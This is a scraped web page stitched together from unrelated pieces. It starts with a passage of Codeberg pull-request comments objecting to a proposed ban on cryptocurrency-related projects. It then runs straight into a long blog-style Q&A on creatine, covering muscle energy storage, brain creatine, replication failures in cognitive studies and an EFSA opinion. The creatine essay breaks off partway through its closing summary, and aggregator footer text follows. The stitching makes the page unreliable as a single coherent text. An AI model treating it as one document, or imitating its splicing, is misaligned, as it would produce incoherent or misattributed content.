And in who’s view is the reputational damage judged? An opaque select committee? Corporate sponsors? The rule is simply political cover for Codeberg to say “We don’t like you even though your code is legal, see our TermsOfUse which says, politically acceptable projects are OK, and we define what is politically acceptable, and whatever ‘cryptocurrency related projects’ mean are not politically acceptable, and so might other undefined stuff we haven’t decided on yet.”
Needless to say, I wont be adding any more projects to Codeberg and I will move away from it as a platform. To be clear none of them are “Cryptocurrency related” by my interpretation, but hey, I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
First-time contributor
Copy link
@stevenj wrote in #1254 (comment):
And in who’s view is the reputational damage judged?
And in who’s view is the reputational damage judged?
community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can really ruin Codeberg’s reputation by voting for banning crypto-related projects
@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:
> And in who’s view is the reputational damage judged?
community, lol. AFAIK, anyone could participate in that poll. so some random people that think “crypto is bad blah blah blah” can _really_ ruin Codeberg’s reputation by voting for banning crypto-related projects
First-time contributor
Copy link
@stevenj wrote in #1254 (comment):
I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
to really push this joke further, let’s go ban Zig as it is used by Solana validator software (the source of most rugpull memecoins)!
@stevenj wrote in https://codeberg.org/Codeberg/org/pulls/1254#issuecomment-19918582:
> I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
to really push this joke further, let’s go ban Zig as it is used by [Solana validator software](https://github.com/Syndica/sig) (the source of most rugpull memecoins)!
Is creatine a weird steroid-like hormone or drug?
No. Creatine is a nutrient. Most omnivores eat a gram or two per day from meat. Your body also synthesizes a gram or two per day. You need creatine to deliver energy inside of cells. It is normal and non-weird.
Does creatine increase testosterone?
Unlikely. This concern comes from one study in 2009 on 16 male rugby players.1 But that study is considered extremely suspect. There have been at least twelve other studies that all found no change or physiologically irrelevant changes. Beyond that, it’s implausible that creatine would increase testosterone, because we know what creatine does and it has nothing to do with hormones.
Does creatine make you go bald?
No. Or, rather:
No study ever reported that.
One study reported the opposite.
There is no mechanistic reason to think that would happen.
There are good mechanistic reasons to think that would not happen.
These rumors all trace back to speculation built on top of that same single 2009 study. But that study is contradicted by later research, and anyway didn’t measure hair. Anything is possible, but as far as I can tell, it’s equally plausible that creatine would increase hair growth. And if you’re really worried about this: Are you going to stop eating meat?
Is creatine safe?
Probably. The International Society of Sports Nutrition says:
Available short and long-term studies in healthy and diseased populations, from infants to the elderly, at dosages ranging from 0.3 to 0.8 g/kg/day for up to 5 years have consistently shown that creatine supplementation poses no adverse health risks and may provide a number of health and performance benefits.
Available short and long-term studies in healthy and diseased populations, from infants to the elderly, at dosages ranging from 0.3 to 0.8 g/kg/day for up to 5 years have consistently shown that creatine supplementation poses no adverse health risks and may provide a number of health and performance benefits.
It’s been studied extensively, and no risks have been found. The way it works doesn’t suggest any risks. And supplementing a few grams per day doesn’t put you far outside the range that people get from normal food.
Does creatine make you stronger?
Yes. It’s very rare for a supplement to have such strong and consistent evidence. A widely-cited review says that short-term supplementation increases maximal power/strength by 5 – 15%. This in turn may increase the long-term gainz from strength-training exercise. Creatine also increases sprint performance by 1 – 5%. Though, there seems to be little if any benefit for endurance exercise like long-distance running.
But how does creatine make you stronger?
Before answering that, can I go on a rant about how muscles work?
…OK?
Great! Here’s how muscles work:
All cells have a molecule called ATP floating around inside, which they use for energy.
Muscle cells have proteins in them called myosin.
When ATP bumps into myosin, the myosin breaks the ATP down into ADP. This releases energy which is physically captured by the myosin as elastic strain.
When triggered by neurons, myosin releases that mechanical energy.
When you decide to move your arm, your brain triggers many muscle cells, carefully orchestrating the myosin twitches into large-scale movement.
Now, here’s something that’s crucial for our story: Very little energy is stored as ATP. Your body contains ~100 grams of ATP, representing ~10,000 joules of energy.2 But your body at rest burns ~100 watts. So you only store enough ATP to keep yourself alive for ~100 seconds. If you sprint, you could easily burn ~3000 watts, which would use all your stored ATP in ~3 seconds.
Through the magic of eating, you’re always making more ATP. Typically, your mitochondria recycle ~1 gram of ADP back into ATP per second, the same amount you need to stay alive.3 If you start running, your body can ramp that up to ~10 grams per second, though tricks like breathing faster and speeding up your heart.4 But it takes a minute or two for your mitochondria to really get cranking.5
So then why am I able to sprint for longer than three seconds?
Because creatine acts as an additional energy reservoir, coupled to the ATP reservoir. After you eat or synthesize creatine, 60% is converted into phosphocreatine. This is done by an enzyme that grabs a creatine molecule and an ATP molecule and moves a phosphate group between them. This “charges” the creatine into phosphocreatine and “discharges” the ATP into ADP.6
But if your ATP levels drop—e.g. because you’re running away from a tiger—those enzymes will run in reverse, meaning they “discharge” phosphocreatine into creatine and “charge” ADP back into ATP. This happens almost instantly, so that ATP and phosphocreatine deplete at the same rate.7
At rest, your muscles contain around 3 – 4 times as much phosphocreatine as ATP. So the “extra” energy storage in phosphocreatine is much larger than the “base” storage in ATP itself. That’s why you can sprint for ten seconds rather than just three seconds.
Does supplementing creatine increase creatine levels in muscle cells?
Yes. Typical levels are:
Vegetarian: 100 mmol / kg
Omnivore: 120 mmol / kg
Someone who supplements creatine: 140 mmol / kg
So, everything seems to add up. If you supplement creatine, you increase your levels by ~16.67%, implying ~12.5% more total short-term energy storage.8 That’s in line with the 5 – 15% increase in strength seen in creatine trials.9 It also seems to make sense that creatine trials find little benefit for endurance exercise. If you don’t have sudden bursts of activity, a larger short-term energy reservoir won’t really help you.
But isn’t this all very strange?
Well, I find it strange. All else equal, more strength is good. The body already knows how to make creatine. If you can just raise creatine levels and get more strength with no downsides, then shouldn’t evolution have done this already? Some variant of the Algernon argument would suggest that the fact that creatine works so well should be impossible.
You might think that higher creatine levels are bad somehow, and that’s why evolution didn’t make them higher. But that seems wrong. Creatine levels vary naturally based on what you eat. If higher levels were bad, evolution could have brought them down. But it doesn’t. It just lets them vary.
Often, evolution makes us “worse” to reduce our energy expenditures, because evolution hates it when we starve to death.10 But the body only spends 1 – 2 calories per day synthesizing creatine, and more creatine in muscle cells doesn’t have any significant metabolic cost.
I think the boring explanation is that for our evolutionary ancestors, modest increases in short-term strength just weren’t a big deal. We were exhaustion hunters, not 1-rep max deadlift hunters.11 Also, more creatine causes your muscle cells to draw in some extra water, which slightly increases energy usage for long-distance running.12 So, if you happened to get extra creatine from meat, great. If not, whatever. In the range where creatine fluctuates based on diet, I suspect creatine levels just didn’t have much impact on reproductive success.
Still, we must acknowledge that creatine is unusual. I wish we could tell our bodies, “Hey, we have access to unlimited amounts of food. Stop worrying about conserving energy and concentrate on being awesome.” But we have very few ways to do that. As far as I can tell, the list of normal nutrients that have been proven to increase strength is: protein, creatine, beta-alanine, the end.
So creatine is special. And creatine makes you a little stronger. Does it make you a little smarter, too?
Is creatine used by the brain?
Yes. Most parts of the body don’t contain significant creatine. But the brain does, along with muscles, the heart, and testes. Neurons use it to play the same game muscles do with ATP and phosphate groups and so on.
How much creatine is in the brain?
Maybe half as much as in muscle. The number of interest here is the ratio of phosphocreatine to ATP, indicating how much phosphocreatine increases local energy storage. We saw above that in muscle, that ratio is 3 to 4. In the brain, the numbers are a little sketchy, but the ratio seems to be more like 1.5 to 2.13
But why? Why would the brain use creatine?
Good question! The brain doesn’t have bursts of energy usage like muscles do. Yes, the brain uses ~20% of all calories despite only making up ~2% of body mass. But the brain is unusual in that it needs all that energy just for basic housekeeping, and doesn’t ramp up with usage. Contrary to the common myth, thinking hard does not burn significantly more calories. (Demonstration: Start thinking hard, and watch as your heart rate does not increase.)
So muscles use creatine for sprints. But the brain doesn’t have sprints. So what the hell is the brain using creatine for?
The most common theory seems to go like this: Actually, muscles don’t just use creatine as an extra energy reservoir. They also use it to deliver energy inside of cells. You see, creatine diffuses faster than ATP inside of cells. So even with endurance exercise, creatine is still being used: Enzymes near the mitochondria use ATP to “charge” creatine into phosphocreatine and enzymes near myosin use that phosphocreatine to “recharge” ADP back into ATP. Even though the net change in creatine is zero, it helps “shuttle” energy from the mitochondria to the myosin.
Under this theory, what neurons and muscle cells share is that parts of the cell locally use a lot of energy, when they get triggered. So even though your brain doesn’t “sprint”, it still uses creatine to avoid local energy deficits.
There’s also experimental evidence that creatine is important for the brain. We’ve created genetically altered mice with brains that lack the enzymes needed to convert creatine to and from phosphocreatine. They display severely limited spatial learning and somewhat smaller brains.
Some humans also naturally have creatine deficiency. In some variants, people have trouble synthesizing creatine. This leads to lower levels throughout the body, including skeletal muscle where 95% of creatine lives. Nevertheless, the primary symptom is related to the brain, namely intellectual disability. Muscle weakness and seizures are also common. Other people have creatine transporter deficiency, meaning creatine can’t cross the blood-brain barrier. This leads to lower levels in the brain only. This leads again to intellectual disability and also often muscle weakness or seizures. (That muscle weakness is despite the fact that the muscle cells themselves have normal creatine levels.)14
So somehow, creatine is very important for the brain.
Does supplementing creatine increase creatine levels in the brain?
Probably, though likely less than in muscle.
Creatine can definitely cross the blood-brain barrier. However, the protein that helps it cross is not abundant, and there are some suggestions that it’s down-regulated with prolonged creatine consumption. The brain itself can synthesize some creatine, and this too might be down-regulated by prolonged consumption.
Of course, you can just give people creatine and see what happens to their brains. There have been around a dozen such studies. Most report increases between 3% and 10%, although a few report no change. However, because brains are hard to access, these studies rely on magnetic resonance spectroscopy, and some suggest that these measurements are unreliable.
In people who can’t synthesize creatine, oral supplementation seems to normalize levels in the brain. (Some cognitive impairment usually remains. One patient was diagnosed and began supplementing at three weeks of age and had no intellectual disability.) So supplementing can increase brain levels in some circumstances.
My best guess is that supplementing does usually increase levels in the brain, and that an increase of 3% to 10% is plausible. But the evidence isn’t particularly strong.
Why did people get interested in creatine having cognitive benefits?
Because of Rae et al. (2003). They took a group of 45 healthy vegetarian or vegan university students in Australia. They did a cross-over trial where half of people got 5 grams of creatine per day for six weeks, followed by a six-week wash-out period, followed by the other half of people getting creatine. Their results were amazing, with huge improvements on Raven’s matrices (RAPM) and backward digit span (BDS):
In their analysis, creatine increased BDS by 1.19 standard deviations, and RAPM by 1.76 standard deviations. If we convert those numbers to IQ points (where 1 standard deviation ←> 15 IQ points), that would mean increases of 17.85 and 26.4 IQ points, respectively. In both cases, the results were highly significant (p < 0.0001).
Does that replicate?
No. Following that paper various groups tried similar experiments but no one found such a large or statistically significant effect. After twenty years of inconclusive results, Sandkühler et al. (2023) set out to give a definitive reproduction. In my view, this is the highest-quality RCT ever done on the cognitive benefits of creatine.15 They largely borrowed the experimental design of Rae et al., although they did the experiment in Germany, used a larger sample of 123 people, used half non-vegetarians, and they dropped the wash-out period. Here are their main results:
(T1 shows test results at baseline. T2 shows results after six weeks of creatine or placebo. T3 shows the results after another six weeks, where the placebo group crossed over to creatine and vise versa.)
Overall, everyone got better over time, probably from practice. On backwards digit span, during the first six weeks, the group getting placebo actually improved slightly faster than the group getting creatine. But when those groups switched between getting placebo and creatine, that (formerly placebo, now creatine) group improved even faster. Just staring at the graph, this suggests some benefit. On Raven’s matrices, the same thing happened, but with a greatly reduced magnitude.
They fit a statistical model and report an effect size of 0.17 standard deviations for backwards digit span (~2.5 IQ points, not quite statistically significant) and 0.09 standard deviations for Raven’s matrices (~1 IQ point, not even close to significant). They found no extra benefit for vegetarians, not even a non-significant benefit.
As far as I can tell, this discrepancy has never been convincingly explained. Rae et al.’s 2003 experiment seems well done. The results are too large to be explained by p-hacking and too statistically significant to be explained by random noise. Maybe for some reason, Rae et al.’s cohort had lower baseline creatine levels? It’s very odd. But history suggests that when an exciting result is followed by a disappointing replication, we should bet on the disappointing replication.
What about all the other RCTs? Doesn’t this call for a meta-analysis?
In principle, yes. The trouble is, most of the studies don’t report the numbers needed for a good meta-analysis. They do some experiment giving creatine to half of people and placebo to the other half, and measure how those groups do on some cognitive test. Then they fit some statistical model and report p-values or whatever. But they never actually publish the raw means and standard deviations.16
Fortunately for us, Xu et al. (2024) contacted the authors for all those trials and got their raw data. According to their meta-analysis, creatine had the following effects.
Unfortunately for us, that paper is bad. They claim that several of these results are statistically significant, but a 2026 commentary points out that they made an error that amounts to double-counting the same data for several studies.17 For that reason, I haven’t shown their (incorrect) confidence intervals. If computed correctly, I suspect none of the results would be statistically significant. Technically, the above point estimates are also wrong, although the error shouldn’t systematically bias them in either direction.
In general, I have to tell you that I really don’t trust this paper. It’s very sloppy with tons of missing details. But as far as I can tell, no one else has ever assembled the data needed to do a good meta-analysis. So I think those numbers are the best summary we have.
So who can we trust?
I’ll tell you who I trust: The European Food and Safety Authority (EFSA). In 2024, a firm selling creatine applied to the EU to be allowed to advertise cognitive benefits. This led the EFSA to publish Creatine and improvement in cognitive function: Evaluation of a health claim pursuant to article 13(5) of regulation (EC) No 1924/2006.
Here’s what they have to say (I’ve cut references for readability):
The Panel considers that, overall, the 10 human intervention studies […] do not show a consistent effect of creatine supplementation on cognitive function. The Panel notes that the acute effect of creatine on working memory reported in some studies […] was not observed at lower creatine doses […] or with continuous consumption of creatine. The Panel also notes that the effect of creatine […] reported in one study is an isolated finding across the body of evidence, where no effect of creatine supplementation was observed on other cognitive domains, including different facets of memory (episodic, short‐term, visual), verbal fluency, attention, alertness, processing speed, psychomotor speed, executive function and general cognitive ability/flexibility and fluid intelligence. Finally, the Panel notes that the three intervention studies conducted in diseased individuals do not support an effect of creatine supplementation on cognition.
The Panel considers that, overall, the 10 human intervention studies […] do not show a consistent effect of creatine supplementation on cognitive function. The Panel notes that the acute effect of creatine on working memory reported in some studies […] was not observed at lower creatine doses […] or with continuous consumption of creatine. The Panel also notes that the effect of creatine […] reported in one study is an isolated finding across the body of evidence, where no effect of creatine supplementation was observed on other cognitive domains, including different facets of memory (episodic, short‐term, visual), verbal fluency, attention, alertness, processing speed, psychomotor speed, executive function and general cognitive ability/flexibility and fluid intelligence. Finally, the Panel notes that the three intervention studies conducted in diseased individuals do not support an effect of creatine supplementation on cognition.
I think we should consider this definitive. I’d go so far as to say this document probably represents the greatest effort our civilization has ever made to understand if creatine has cognitive benefits.
But we need to remember the ESFA’s role. They’re asking if creatine has been proven to have cognitive benefits, because they’re deciding if it should be legal to advertise cognitive benefits. They say no and I believe them. But that doesn’t mean there are no cognitive benefits.
Are there other reviews of the RCTs?
Yes. Here are all the recent reviews I could find, with a few representative quotes from each:
“Performance on cognitive tasks stayed unchanged in young individuals.”
“Vegetarians responded better than meat-eaters in memory tasks”
“may improve the performance in some cognitive tasks, particularly in stressful conditions (e.g. mental fatigue, exhaustive exercise).”
“supplementation studies concomitantly assessing brain creatine levels and cognitive function are needed”
“Vegans do not intake sufficient […] creatine to ensure the levels necessary for maintaining optimal cognitive output.”
“Closer examination of [the evidence] suggests that there may be more positive outcomes of supplementation than the research so far provides.”
On average, the RCTs do find a small positive effect, just not a statistically significant positive effect. As I so often point out, that’s exactly what we would expect if the true effect were positive but small. But it’s also entirely possible that this is due to random chance or p-hacking or publication bias. Gwern contacted one author and found that publication bias did in fact occur.
Overall, I think the RCTs provide very weak evidence in favor of a small benefit for healthy adults. (Perhaps 0.1 to 0.3 standard deviations, depending on the measure.) I also think they provide moderate evidence against a larger effect for healthy adults (above, say, 0.5 standard deviations) and weak evidence for a small benefit for adults that are “stressed” in some way that might diminish creatine, such as being older, vegan, or physically exhausted.
Can you summarize the evidence in favor of creatine making you smarter?
I would love to do that:
Creatine is special. Very few nutrients really make you stronger, but creatine does.
Few parts of the body other than muscles use significant creatine, but the brain does.
Creatine can cross the blood-brain barrier.
To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".
10HN is also available as an iOS App
If you visit 10HN only rarely, check out the the best articles from the past week.
Visit pancik.com for more.